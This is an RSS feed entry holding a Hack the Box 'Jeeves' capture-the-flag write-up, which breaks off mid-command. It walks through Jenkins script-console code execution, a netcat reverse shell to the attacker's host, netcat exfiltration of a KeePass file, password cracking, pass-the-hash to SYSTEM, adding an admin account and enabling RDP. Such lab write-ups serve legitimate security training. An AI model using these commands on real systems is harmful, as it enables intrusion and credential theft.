<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Oneeb Malik on Medium]]></title>
        <description><![CDATA[Stories by Oneeb Malik on Medium]]></description>
        <link>https://medium.com/@OneebMalik?source=rss-2c2103638f08------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LvStUPCUS7BBr-4Dw0gDwA@2x.jpeg</url>
            <title>Stories by Oneeb Malik on Medium</title>
            <link>https://medium.com/@OneebMalik?source=rss-2c2103638f08------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 11:36:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@OneebMalik/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[{Hack the Box} \\ Jeeves Write-Up]]></title>
            <link>https://medium.com/@OneebMalik/hack-the-box-jeeves-write-up-f1427462dc19?source=rss-2c2103638f08------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1427462dc19</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Oneeb Malik]]></dc:creator>
            <pubDate>Sun, 27 May 2018 08:01:49 GMT</pubDate>
            <atom:updated>2023-03-06T18:35:28.453Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_uqk8jCXIk3fESjZco-P8Q.jpeg" /></figure><h4>Three cheers for corporate malware.</h4><p>The year is 2005. Avatar: The Last Airbender has just started airing. The sweet melody of asphyxiating cows plays in the background as you try to start your dial-up connection. Obi Wan gets the high ground, but Palpatine gets the last laugh. Ask Jeeves had a special place in our hearts. Glory days.</p><p>I shall wax nostalgic no longer. In the words of <a href="https://www.youtube.com/user/robjnixon/about">Nicko</a>, let’s get stuck into this bad boy.</p><h4>Initial Scans</h4><p>PORT SCAN.</p><pre>root@kali:~# nmap -sC -sV -o nmap.log 10.10.10.63</pre><pre>Starting Nmap 7.60 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2018-05-23 16:32 EDT<br>Nmap scan report for 10.10.10.63<br>Host is up (0.043s latency).<br>Not shown: 996 filtered ports<br>PORT      STATE SERVICE      VERSION<br>80/tcp    open  http         Microsoft IIS httpd 10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: Ask Jeeves<br>135/tcp   open  msrpc        Microsoft Windows RPC<br>445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)<br>50000/tcp open  http         Jetty 9.4.z-SNAPSHOT<br>|_http-server-header: Jetty(9.4.z-SNAPSHOT)<br>|_http-title: Error 404 Not Found<br>Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>|_clock-skew: mean: 4h58m52s, deviation: 0s, median: 4h58m52s<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2018-05-23 21:31:56<br>|_  start_date: 2018-05-21 00:40:49</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 54.33 seconds</pre><p>Put on a full port scan in the background too. Good habit to get used to. We’ve got two HTTP ports and some SMB going on here. Oh and we’re dealing with Windows so hyperventilate at your leisure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*oh5r05S4Fhbuf83TbUuwww.gif" /></figure><p>We can try visiting both HTTP ports to see what we get. Start with port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*txp4FbaeQEBnG1Gdp_1Jbw.png" /><figcaption>Dear Lord.</figcaption></figure><p>Wow. Flashbacks to when Norton Antivirus sneakily installed Ask Jeeves and Internet Explorer 6 vomited toolbars. *shudder*.</p><p>Check out the source code.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>&lt;title&gt;Ask Jeeves&lt;/title&gt;<br>&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;<a href="/service/view-source:http://10.10.10.63/style.css">style.css</a>&quot;&gt;<br>&lt;/head&gt;<br><br>&lt;body&gt;<br>&lt;form class=&quot;form-wrapper cf&quot; action=&quot;<a href="/service/view-source:http://10.10.10.63/error.html">error.html</a>&quot;&gt;<br>    &lt;div class=&quot;byline&quot;&gt;&lt;p&gt;&lt;a href=&quot;<a href="/service/view-source:http://10.10.10.63/#">#</a>&quot;&gt;Web&lt;/a&gt;, &lt;a href=&quot;<a href="/service/view-source:http://10.10.10.63/#">#</a>&quot;&gt;images&lt;/a&gt;, &lt;a href=&quot;<a href="/service/view-source:http://10.10.10.63/#">#</a>&quot;&gt;news&lt;/a&gt;, and &lt;a href=&quot;<a href="/service/view-source:http://10.10.10.63/#">#</a>&quot;&gt;lots of answers&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;<br>  	&lt;input type=&quot;text&quot; placeholder=&quot;Search here...&quot; required&gt;<br>	  &lt;button type=&quot;submit&quot;&gt;Search&lt;/button&gt;<br>    &lt;div class=&quot;byline-bot&quot;&gt;Skins&lt;/div&gt;<br>&lt;/form&gt;<br>&lt;/body&gt;<br><br>&lt;/html&gt;</pre><p>Seems like we’ve been had. Your world is a lie. They’re all dummy links. And the search bar directs us to <em>error.html</em> every time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dTiNmoJvmmlSYRkQTi3YAQ.png" /></figure><p>This screenshot (assuming it’s legit) actually tells us a lot about the target machine. The Windows version and build number, ASP.NET version, SQL server version, and you get the idea.</p><p>In any penetration test, knowing the version numbers of a bunch of different software for a target machine is incredibly valuable. You can use it to look up any existing vulnerabilities or potential misconfigurations. Google/DuckDuckGo is your friend.</p><p>Right now though, we can’t really use any of this information since we don’t have any related open ports. Once we get some kind of user access to Jeeves though, we might need this information, so jot it down somewhere.</p><p>Port 50000 doesn’t have much to show for itself either.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*guFbOK9CiwpY06V80iN-8Q.png" /></figure><p>We do get another piece of info though, the web server type and version. A quick Google (*ahem* DDG) search for Jetty doesn’t really give us any juicy exploits, so we’ll table it for now, and come back to it if we get really stuck later.</p><p>This is where I start throwing dictionaries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*RTBfJm9YIXyq0SWh2bG_JA.gif" /></figure><p>Let’s set up a couple Gobuster sessions on the two HTTP ports (80, 50000) so we can maybe find some tasty directories, and while they marinate, we can go ahead and mess around with SMB a bit.</p><pre>root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.63<br><br>Gobuster v1.2                OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>)<br>=====================================================<br>[+] Mode         : dir<br>[+] Url/Domain   : <a href="http://10.10.10.63/">http://10.10.10.63/</a><br>[+] Threads      : 10<br>[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Status codes : 200,204,301,302,307<br>=====================================================</pre><pre><br>root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.63:50000<br>Gobuster v1.2                OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>)<br>=====================================================<br>[+] Mode         : dir<br>[+] Url/Domain   : <a href="http://10.10.10.63:50000/">http://10.10.10.63:50000/</a><br>[+] Threads      : 200<br>[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Status codes : 200,204,301,302,307<br>=====================================================</pre><p>The Server Message Block (SMB) protocol is a way to access shared files and printers and stuff on another network node. Usually used on Windows, but Unix systems have their own implementation (Samba). Kali has a few good tools installed to enumerate and interact with SMB ports.</p><p><em>smbclient</em> is useful if you need to list the shares available to you, along with user access permissions, and then actually accessing files. But before doing all that, we can use a handy script called <em>enum4linux</em> to give us a detailed overview. This also lets us know if we can access any accounts in the first place. I’ll save you the trouble here and say that this seems like a dead end.</p><pre>root@kali:~# enum4linux -a 10.10.10.63<br>Starting enum4linux v0.8.9 ( <a href="http://labs.portcullis.co.uk/application/enum4linux/">http://labs.portcullis.co.uk/application/enum4linux/</a> ) on Wed May 23 18:46:19 2018</pre><pre>========================== <br>|    Target Information    |<br> ========================== <br>Target ........... 10.10.10.63<br>RID Range ........ 500-550,1000-1050<br>Username ......... &#39;&#39;<br>Password ......... &#39;&#39;<br>Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none</pre><pre>=================================================== <br>|    Enumerating Workgroup/Domain on 10.10.10.63    |<br> =================================================== <br>[E] Can&#39;t find workgroup/domain</pre><pre>=========================================== <br>|    Nbtstat Information for 10.10.10.63    |<br> =========================================== <br>Looking up status of 10.10.10.63<br>No reply from 10.10.10.63</pre><pre>==================================== <br>|    Session Check on 10.10.10.63    |<br> ==================================== <br>Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.<br>[E] Server doesn&#39;t allow session using username &#39;&#39;, password &#39;&#39;.  Aborting remainder of tests.</pre><p>Oh well.</p><p>Back to Gobuster. Port 80 doesn’t really have anything interesting, but if we look at port 50000, we get something funny.</p><pre>root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.63:50000</pre><pre>Gobuster v1.2                OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>)<br>=====================================================<br>[+] Mode         : dir<br>[+] Url/Domain   : <a href="http://10.10.10.63:50000/">http://10.10.10.63:50000/</a><br>[+] Threads      : 200<br>[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Status codes : 200,204,301,302,307<br>=====================================================<br>/askjeeves (Status: 302)<br>=====================================================</pre><p>Let’s check it out. 302 is a redirect HTTP code in case you haven’t seen it before. Strap yourselves in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*dxFMokT_-UNigRb9VTYFAw.gif" /></figure><h4>Jenkins? Groovy.</h4><p><em>Ask not what Jeeves can do for you.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A7wXSQoRoxhnRbcCX-ofog.png" /></figure><p>Not a very eventful ride. The redirect just added a forward slash.</p><p>Buuut we have a Jenkins server! And what’s more, we don’t even have to log in. We’ve got full access here. y i k e s.</p><p>Look around a bit. Jenkins is an automation server so it’s sure to have some sort of direct access to the underlying machine. If you go to Manage Jenkins option under the top left menu, you’ll see a script console. Looks promising.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kC7-RRv1aSE8A2lTeZxAtw.png" /></figure><p>Yep.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1KTAmyfU6V1cy4kLu-Izw.png" /><figcaption>What a generous host.</figcaption></figure><p>Okay. Now you can go spend the next few days learning how to <a href="http://groovy-lang.org/documentation.html#apidocumentation">program in Groovy</a>. Fun! Seriously though, it’s just like Java, but easier. If you can Java, you can Groovy. This looks like a tender spot, so let’s try to get some code execution going. It’s Windows, so keep that in mind when you write out commands.</p><p>Groovy has a useful method to execute strings as shell commands called <em>execute()</em>. Let’s use that to see if we can get a directory list.</p><p>This took a little tinkering to get right, but we’ve got code execution.</p><p>Groovy Console:</p><pre>def cmd = &quot;cmd.exe /c dir&quot;.execute();<br>println(&quot;${cmd.text}&quot;);</pre><p>Result:</p><pre>Volume in drive C has no label.<br> Volume Serial Number is BE50-B1C9<br><br> Directory of C:\Users\Administrator\.jenkins<br><br>05/21/2018  12:42 AM    &lt;DIR&gt;          .<br>05/21/2018  12:42 AM    &lt;DIR&gt;          ..<br>05/24/2018  05:26 AM                47 .owner<br>05/21/2018  12:42 AM             1,684 config.xml<br>05/21/2018  12:42 AM               156 hudson.model.UpdateCenter.xml<br>11/03/2017  10:43 PM               374 hudson.plugins.git.GitTool.xml<br>11/03/2017  10:33 PM             1,712 identity.key.enc<br>11/03/2017  10:46 PM                94 jenkins.CLI.xml<br>05/24/2018  04:54 AM            83,489 jenkins.err.log<br>11/03/2017  10:47 PM           360,448 jenkins.exe<br>11/03/2017  10:47 PM               331 jenkins.exe.config<br>05/21/2018  12:42 AM                 4 jenkins.install.InstallUtil.lastExecVersion<br>11/03/2017  10:45 PM                 4 jenkins.install.UpgradeWizard.state<br>11/03/2017  10:46 PM               138 jenkins.model.DownloadSettings.xml<br>12/24/2017  03:38 PM             2,688 jenkins.out.log<br>05/21/2018  12:41 AM                 4 jenkins.pid<br>11/03/2017  10:46 PM               169 jenkins.security.QueueItemAuthenticatorConfiguration.xml<br>11/03/2017  10:46 PM               162 jenkins.security.UpdateSiteWarningsConfiguration.xml<br>11/03/2017  10:47 PM        74,271,222 jenkins.war<br>05/21/2018  12:41 AM            34,147 jenkins.wrapper.log<br>11/03/2017  10:49 PM             2,881 jenkins.xml<br>11/03/2017  10:33 PM    &lt;DIR&gt;          jobs<br>11/03/2017  10:33 PM    &lt;DIR&gt;          logs<br>05/21/2018  12:42 AM               907 nodeMonitors.xml<br>11/03/2017  10:33 PM    &lt;DIR&gt;          nodes<br>11/03/2017  10:44 PM    &lt;DIR&gt;          plugins<br>11/03/2017  10:47 PM               129 queue.xml.bak<br>11/03/2017  10:33 PM                64 secret.key<br>11/03/2017  10:33 PM                 0 secret.key.not-so-secret<br>12/24/2017  03:47 AM    &lt;DIR&gt;          secrets<br>11/08/2017  09:52 AM    &lt;DIR&gt;          updates<br>11/03/2017  10:33 PM    &lt;DIR&gt;          userContent<br>11/03/2017  10:33 PM    &lt;DIR&gt;          users<br>11/03/2017  10:47 PM    &lt;DIR&gt;          war<br>11/03/2017  10:43 PM    &lt;DIR&gt;          workflow-libs<br>              23 File(s)     74,760,854 bytes<br>              12 Dir(s)   7,523,225,600 bytes free</pre><p>Excellent.</p><p>Now I’d suggest taking a break. <a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4960753/">Sitting kills</a>, people. Go make <a href="https://www.youtube.com/watch?v=JXCmp1jMi0w">fried chicken</a> or something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*4AwVgRQC9xSg4rVs-Hq0DQ.gif" /></figure><p>Alright, we’re back from our commercial break.</p><p>Let’s get a reverse shell. Apparently Jeeves has PowerShell installed so that makes our job easier. Start up a web server on your local machine and put a copy of an <em>nc.exe</em> binary nearby where you won’t lose it.</p><p>Along with netcat, Kali has a bunch of other cool Windows binaries for penetration testing stuff in <em>/usr/share/windows-binaries</em>. Look through it when you get the chance. If you don’t have it on your machine, just find it on the internet. The Windows machine we’re targeting is 32-bit so make sure the binary you use is also 32-bit.</p><pre>root@kali:~# ls -la /usr/share/windows-binaries/<br>total 1908<br>drwxr-xr-x   9 root root   4096 Feb  4 14:39 .<br>drwxr-xr-x 472 root root  20480 May 21 18:24 ..<br>drwxr-xr-x   2 root root   4096 Feb  4 14:39 backdoors<br>drwxr-xr-x   2 root root   4096 Feb  4 14:39 enumplus<br>-rwxr-xr-x   1 root root  53248 Aug 21  2017 exe2bat.exe<br>drwxr-xr-x   2 root root   4096 Feb  4 14:39 fgdump<br>drwxr-xr-x   2 root root   4096 Feb  4 14:39 fport<br>drwxr-xr-x   5 root root   4096 Feb  4 14:39 hyperion<br>-rwxr-xr-x   1 root root  23552 Aug 21  2017 klogger.exe<br>drwxr-xr-x   2 root root   4096 Feb  4 14:39 mbenum<br>drwxr-xr-x   4 root root   4096 Feb  4 14:39 nbtenum<br>-rwxr-xr-x   1 root root  59392 Aug 21  2017 nc.exe //YEE<br>-rwxr-xr-x   1 root root 311296 Aug 21  2017 plink.exe<br>-rwxr-xr-x   1 root root 704512 Aug 21  2017 radmin.exe<br>-rwxr-xr-x   1 root root 364544 Aug 21  2017 vncviewer.exe<br>-rwxr-xr-x   1 root root 308736 Aug 21  2017 wget.exe<br>-rwxr-xr-x   1 root root  66560 Aug 21  2017 whoami.exe<br> <br>root@kali:~/Documents/oscp/tools/windows_binaries# python -m SimpleHTTPServer 80<br>Serving HTTP on 0.0.0.0 port 80 ...</pre><p>Most of the time, <em>netcat </em>use is restricted or nonexistent on Windows machines, so it’s far easier to just upload our own and create TCP connections to our heart’s content.</p><p>Back to the Groovy script console. Use the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-6">Powershell Invoke-WebRequest </a>cmdlet (wget is so much less verbose, jeez) to grab <em>netcat </em>from your local machine.</p><p>Groovy Console:</p><pre>def process = &quot;powershell -command Invoke-WebRequest &#39;<a href="http://10.10.14.5/nc.exe&#39;">http://10.10.14.5/nc.exe&#39;</a> -OutFile nc.exe&quot;.execute();<br>println(&quot;${process.text}&quot;);</pre><p>Make sure to write your own IP address connected to the tun0 interface (viewable with<strong><em> </em></strong><em>ifconfig</em>). We need <em>-OutFile</em> to specify that we want to save the file contents to <em>nc.exe</em> because <em>Invoke-WebRequest</em> outputs them to the pipeline by default. Your Python server should show that Jeeves got our present.</p><pre>root@kali:~# python -m SimpleHTTPServer 80<br>Serving HTTP on 0.0.0.0 port 80 ...<br>10.10.10.63 - - [24/May/2018 01:07:41] &quot;GET /nc.exe HTTP/1.1&quot; 200 -</pre><p>List the directory contents again to make sure it’s there. We can keep using PowerShell because we want to avoid the aging travesty that is the Windows command line.</p><p>Groovy Console:</p><pre>def process = &quot;powershell -command dir&quot;.execute();<br>println(&quot;${process.text}&quot;);</pre><p>Result:</p><pre>Directory: C:\Users\Administrator\.jenkins<br><br><br>Mode                LastWriteTime         Length Name                                                                  <br>----                -------------         ------ ----                                                                  <br>d-----        11/3/2017  10:33 PM                jobs                                                                  <br>d-----        11/3/2017  10:33 PM                logs                                                                  <br>d-----        11/3/2017  10:33 PM                nodes                                                                 <br>d-----        11/3/2017  10:44 PM                plugins                                                               <br>d-----       12/24/2017   2:47 AM                secrets                                                               <br>d-----        11/8/2017   8:52 AM                updates                                                               <br>d-----        11/3/2017  10:33 PM                userContent                                                           <br>d-----        11/3/2017  10:33 PM                users                                                                 <br>d-----        11/3/2017  10:47 PM                war                                                                   <br>d-----        11/3/2017  10:43 PM                workflow-libs                                                         <br>-a----        5/24/2018   5:26 AM             47 .owner                                                                <br>-a----        5/21/2018  12:42 AM           1684 config.xml                                                            <br>-a----        5/21/2018  12:42 AM            156 hudson.model.UpdateCenter.xml                                         <br>-a----        11/3/2017  10:43 PM            374 hudson.plugins.git.GitTool.xml                                        <br>-a----        11/3/2017  10:33 PM           1712 identity.key.enc                                                      <br>-a----        11/3/2017  10:46 PM             94 jenkins.CLI.xml                                                       <br>              5/24/2018   4:54 AM          83489 jenkins.err.log                                                       <br>-a----        11/3/2017  10:47 PM         360448 jenkins.exe                                                           <br>-a----        11/3/2017  10:47 PM            331 jenkins.exe.config                                                    <br>-a----        5/21/2018  12:42 AM              4 jenkins.install.InstallUtil.lastExecVersion                           <br>-a----        11/3/2017  10:45 PM              4 jenkins.install.UpgradeWizard.state                                   <br>-a----        11/3/2017  10:46 PM            138 jenkins.model.DownloadSettings.xml                                    <br>             12/24/2017   2:38 PM           2688 jenkins.out.log                                                       <br>-a----        5/21/2018  12:41 AM              4 jenkins.pid                                                           <br>-a----        11/3/2017  10:46 PM            169 jenkins.security.QueueItemAuthenticatorConfiguration.xml              <br>-a----        11/3/2017  10:46 PM            162 jenkins.security.UpdateSiteWarningsConfiguration.xml                  <br>-a----        11/3/2017  10:47 PM       74271222 jenkins.war                                                           <br>-a----        5/21/2018  12:41 AM          34147 jenkins.wrapper.log                                                   <br>-a----        11/3/2017  10:49 PM           2881 jenkins.xml                                                           <br>-a----        5/24/2018   6:06 AM          59392 nc.exe                                                                <br>-a----        5/21/2018  12:42 AM            907 nodeMonitors.xml                                                      <br>-a----        11/3/2017  10:47 PM            129 queue.xml.bak                                                         <br>-a----        11/3/2017  10:33 PM             64 secret.key                                                            <br>-a----        11/3/2017  10:33 PM              0 secret.key.not-so-secret</pre><p>Great. Now let’s set up a <em>netcat</em> listener on our local machine and connect back to it from the script console.</p><pre>root@kali:~# nc -lnvp 1337<br>listening on [any] 1337 ...</pre><p>Groovy Console:</p><pre>def process = &quot;powershell -command ./nc.exe 10.10.14.5 1337 -e cmd.exe&quot;.execute(); //CHANGE IP PLS<br>println(&quot;${process.text}&quot;);</pre><p>Run it and check your listener.</p><pre>root@kali:~# nc -lnvp 1337<br>listening on [any] 1337 ...<br>connect to [10.10.14.5] from (UNKNOWN) [10.10.10.63] 49678<br>Microsoft Windows [Version 10.0.10586]<br>(c) 2015 Microsoft Corporation. All rights reserved.</pre><pre>C:\Users\Administrator\.jenkins&gt;whoami<br>whoami<br>jeeves\kohsuke</pre><pre>C:\Users\Administrator\.jenkins&gt;</pre><p>Delicious.</p><h4>I 💔 Windows</h4><p>Start off by invading Kohsuke’s privacy and rifling through his stuff. His <em>Documents</em> folder contains something interesting.</p><pre>C:\Users\kohsuke\Documents&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is BE50-B1C9</pre><pre>Directory of C:\Users\kohsuke\Documents</pre><pre>11/03/2017  11:18 PM    &lt;DIR&gt;          .<br>11/03/2017  11:18 PM    &lt;DIR&gt;          ..<br>09/18/2017  01:43 PM             2,846 CEH.kdbx<br>               1 File(s)          2,846 bytes<br>               2 Dir(s)   7,523,155,968 bytes free</pre><pre>C:\Users\kohsuke\Documents&gt;</pre><p>A quick Google search show us that the <em>.kdbx </em>extension is most commonly used as a Keepass Password Database data file. Nice. It’s probably got some interesting credentials in there. Let’s get it onto our system with <em>netcat</em> file transfer magic.</p><p>Set up a listener on your local machine that redirects data to a .<em>kdbx </em>file.</p><pre>root@kali:~# nc -lnvp 4444 &gt; CEH.kdbx<br>listening on [any] 4444 ...</pre><p>Now on the command line for Jeeves, use the uploaded <em>nc.exe</em> to transfer the contents of <em>CEH.kdbx</em> to your machine.</p><pre>C:\Users\kohsuke\Documents&gt;C:\Users\Administrator\.jenkins\nc.exe 10.10.14.5 4444 &lt; CEH.kdbx<br>C:\Users\Administrator\.jenkins\nc.exe 10.10.14.5 4444 &lt; CEH.kdbx</pre><p>Your listener should have received the incoming connection. If so, exit<em> netcat</em> and you’ll see the file.</p><pre>root@kali:~# nc -lnvp 4444 &gt; CEH.kdbx<br>listening on [any] 4444 ...<br>connect to [10.10.14.5] from (UNKNOWN) [10.10.10.63] 49693<br>^C<br>root@kali:~# ls -la CEH.kdbx<br>-rw-r--r--  1 root root    2846 May 23 02:08 CEH.kdbx<br>root@kali:~#</pre><p>Great. Download KeePass if you don’t already have it.</p><pre>root@kali:~# apt search keepass<br>Sorting... Done<br>Full Text Search... Done<br>keepass2/kali-rolling 2.38+dfsg-1 all<br>  Password manager</pre><pre>keepass2-doc/kali-rolling 2.38+dfsg-1 all<br>  Password manager - Documentation</pre><pre>keepassx/kali-rolling,now 2.0.3-1 i386 [installed]<br>  Cross Platform Password Manager</pre><pre>keepassxc/kali-rolling 2.3.1+dfsg.1-1 i386<br>  Cross Platform Password Manager</pre><pre>kpcli/kali-rolling 3.1-3 all<br>  command line interface to KeePassX password manager databases</pre><pre>libfile-keepass-perl/kali-rolling 2.03-1 all<br>  interface to KeePass V1 and V2 database files</pre><pre>root@kali:~#apt install keepassx<br>...</pre><p>Open the KeePass file.</p><pre>root@kali:~/Documents/hack_the_box/jeeves# keepassx CEH.kdbx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*X87tr3aAwDQ54WzlS_C6EQ.png" /></figure><p>We shall not pass. We need a password. Let’s smash it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*UGUv_Wqo9Bmho7y43ImLXg.gif" /></figure><p>Luckily Kali saves our asses once again (I laughed when I saw there’s a <em>keepass2john</em> program. I love this).</p><pre>root@kali:~# keepass2john CEH.kdbx <br>CEH:$keepass$*2*6000*222*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48<br>root@kali:~#</pre><p>Alright. We now have a hash, and, ignoring the name, we can now use <em>hashcat</em> to crack it. Save the hash to a text file. You’ll notice that the hash is invalid. Check out a <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">list of hash examples</a> to see that KeePass hashes start with <em>$keepass$</em>, and not <em>CEH:</em> (kind of obvious in hindsight). Remove that part. Now actually crack it.</p><p>*5 minutes later*</p><p>Nvm. It broke my laptop. Pro tip, don’t use the force option when <em>hashcat </em>tells you it’s a bad idea. My Kali Linux partition is no longer booting.</p><p>Sigh. Sorry John. I still love you and stuff. Take me back, please.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*fj3FyIoccUB_1WMl0RZRWw.gif" /></figure><pre>root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt keepass-hash.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (KeePass [SHA256 AES 32/32 OpenSSL])<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>moonshine1       (CEH)<br>1g 0:00:01:37 DONE (2018-05-26 03:38) 0.01027g/s 564.7p/s 564.7c/s 564.7C/s moonshine1<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed<br>root@kali:~#</pre><p>Aaaand the password is <em>moonshine1</em>. Fire up KeePass again and enter the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Bfp81Xv2ErLp4V11bsy3kg.png" /></figure><p>WOOH, got the password to his Walmart account. I needed a few bags of potting soil and some half-ply toilet paper.</p><p>Let’s use <em>winexe</em> to try to log in as admin with all these passwords.</p><p>The most promising seems like the one under <em>Backup stuff</em>, which looks like a Windows NTLM hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*nbgqwszOxd1PA8gRzzVzGQ.png" /></figure><p>For this, we can use <em>pth-winexe</em> to pass in the hash directly to log in. No need to crack it. Scary stuff.</p><pre>root@kali:~# pth-winexe <br>winexe version 1.1<br>This program may be freely redistributed under the terms of the GNU GPLv3<br>Usage: winexe [OPTION]... //HOST COMMAND<br>Options:<br>  -h, --help                                  Display help message<br>  -V, --version                               Display version number<br>  -U, --user=[DOMAIN/]USERNAME[%PASSWORD]     Set the network username<br>  -A, --authentication-file=FILE              Get the credentials from a file<br>  -N, --no-pass                               Do not ask for a password<br>  -k, --kerberos=STRING                       Use Kerberos, -k [yes|no]<br>  -d, --debuglevel=DEBUGLEVEL                 Set debug level<br>      --uninstall                             Uninstall winexe service after<br>                                              remote execution<br>      --reinstall                             Reinstall winexe service before<br>                                              remote execution<br>      --system                                Use SYSTEM account<br>      --profile                               Load user profile<br>      --convert                               Try to convert characters<br>                                              between local and remote<br>                                              code-pages<br>      --runas=[DOMAIN\]USERNAME%PASSWORD      Run as the given user (BEWARE:<br>                                              this password is sent in<br>                                              cleartext over the network!)<br>      --runas-file=FILE                       Run as user options defined in a<br>                                              file<br>      --interactive=0|1                       Desktop interaction: 0 -<br>                                              disallow, 1 - allow. If allow,<br>                                              also use the --system switch<br>                                              (Windows requirement). Vista<br>                                              does not support this option.<br>      --ostype=0|1|2                          OS type: 0 - 32-bit, 1 - 64-bit,<br>                                              2 - winexe will decide.<br>                                              Determines which version (32-bit<br>                                              or 64-bit) of service will be<br>                                              installed.<br>root@kali:~# pth-winexe --user=jeeves/administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 --system //10.10.10.63 cmd.exe<br>E_md4hash wrapper called.<br>HASH PASS: Substituting user supplied NTLM HASH...<br>Microsoft Windows [Version 10.0.10586]<br>(c) 2015 Microsoft Corporation. All rights reserved.</pre><pre>C:\Windows\system32&gt;whoami<br>whoami<br>nt authority\system &lt;------------ yah</pre><pre>C:\Windows\system32&gt;</pre><p>Successfully hacked. Now let’s grab the flags the fun way.</p><p>Through the Jeeves command line, <a href="https://www.windows-commandline.com/add-user-from-command-line/">make an account</a> for yourself with admin privileges (Please don’t do this in a real environment. Use already existing accounts if you have to. And opening up a remote desktop port is pretty conspicuous. It’s just more fun this way).</p><pre>C:\Windows\system32&gt;net user /add oneeb jeeved<br>net user /add oneeb jeeved<br>The command completed successfully.</pre><pre>C:\Windows\system32&gt;net localgroup administrators oneeb /add<br>net localgroup administrators oneeb /add<br>The command completed successfully.</pre><pre>C:\Windows\system32&gt;</pre><p>Now start up the <a href="https://community.spiceworks.com/how_to/35529-enable-rdp-through-cmd-line">Remote Desktop (RDP)</a> service.</p><pre>C:\Windows\system32&gt;reg add &quot;hklm\system\currentcontrolset\control\terminal server&quot; /f /v fDenyTSConnections /t REG_DWORD /d 0<br>reg add 